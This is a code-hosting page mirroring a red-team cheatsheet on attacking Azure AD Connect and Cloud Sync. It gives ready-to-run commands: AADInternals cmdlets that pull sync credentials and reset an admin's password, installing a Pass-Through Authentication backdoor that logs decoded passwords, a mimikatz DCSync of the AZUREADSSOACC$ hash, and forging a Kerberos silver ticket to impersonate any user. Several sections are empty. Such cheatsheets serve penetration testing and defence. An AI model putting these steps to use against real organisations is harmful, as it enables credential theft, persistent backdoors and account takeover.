repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
azure-ad-connect.mdMarkdown138 lines7.7 KiBsource raw download

title: "Azure AD - AD Connect and Cloud Sync" section: "Cloud" sectionSlug: "cloud" sourcePath: "docs/cloud/azure/azure-ad-connect.md" sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/cloud/azure/azure-ad-connect.md" sha: "203bb0c0b290" isIndex: false#

Azure AD - AD Connect and Cloud Sync#

Active Directory Azure AD
LDAP REST API'S
NTLM/Kerberos OAuth/SAML/OpenID
Structured directory (OU tree) Flat structure
GPO No GPO's
Super fine-tuned access controls Predefined roles
Domain/forest Tenant
Trusts Guests

Check if Azure AD Connect is installed : Get-ADSyncConnector

Password Hash Synchronization#

Get token for SYNC_* account and reset on-prem admin password

PS > Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd1
PS > Get-AADIntSyncCredentials

PS > $passwd = ConvertToSecureString 'password' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential ("<Username>@<TenantName>.onmicrosoft.com", $passwd)
PS > GetAADIntAccessTokenForAADGraph -Credentials $creds –SaveToCache

PS > Get-AADIntUser -UserPrincipalName onpremadmin@defcorpsecure.onmicrosoft.com | select ImmutableId
PS > Set-AADIntUserPassword -SourceAnchor "<IMMUTABLE-ID>" -Password "Password" -Verbose

Pass-Through Authentication#

  1. Check if PTA is installed : Get-Command -Module PassthroughAuthPSModule

  2. Install a PTA Backdoor

    PS AADInternals> Install-AADIntPTASpy
    PS AADInternals> Get-AADIntPTASpyLog -DecodePasswords
    

Federation#

AD Connect - Credentials#

Tool Requires code execution on target DLL dependencies Requires MSSQL locally Requires python locally
ADSyncDecrypt Yes Yes No No
ADSyncGather Yes No No Yes
ADSyncQuery No (network RPC calls only) No Yes Yes

Credentials in ADSync : C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

AD Connect - DCSync with MSOL Account#

You can perform DCSync attack using the MSOL account.

Requirements:

Use the script azuread_decrypt_msol.ps1 from @xpn to recover the decrypted password for the MSOL account:

Now you can use the retrieved credentials for the MSOL Account to launch a DCSync attack.

AD Connect - Seamless Single Sign On Silver Ticket#

Anyone who can edit properties of the AZUREADSSOACCS$ account can impersonate any user in Azure AD using Kerberos (if no MFA)

Seamless SSO is supported by both PHS and PTA. If seamless SSO is enabled, a computer account AZUREADSSOC is created in the on-prem AD.

:warning: The password of the AZUREADSSOACC account never changes.

Using https://autologon.microsoftazuread-sso.com/ to convert Kerberos tickets to SAML and JWT for Office 365 & Azure

  1. NTLM password hash of the AZUREADSSOACC account, e.g. f9969e088b2c13d93833d0ce436c76dd.

    mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
    
  2. AAD logon name of the user we want to impersonate, e.g. elrond@contoso.com. This is typically either his userPrincipalName or mail attribute from the on-prem AD.

  3. SID of the user we want to impersonate, e.g. S-1-5-21-2121516926-2695913149-3163778339-1234.

  4. Create the Silver Ticket and inject it into Kerberos cache:

    mimikatz.exe "kerberos::golden /user:elrond
    /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
    /domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
    /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
    
  5. Launch Mozilla Firefox

  6. Go to about:config and set the network.negotiate-auth.trusted-uris preference to value https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com

  7. Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty.

References#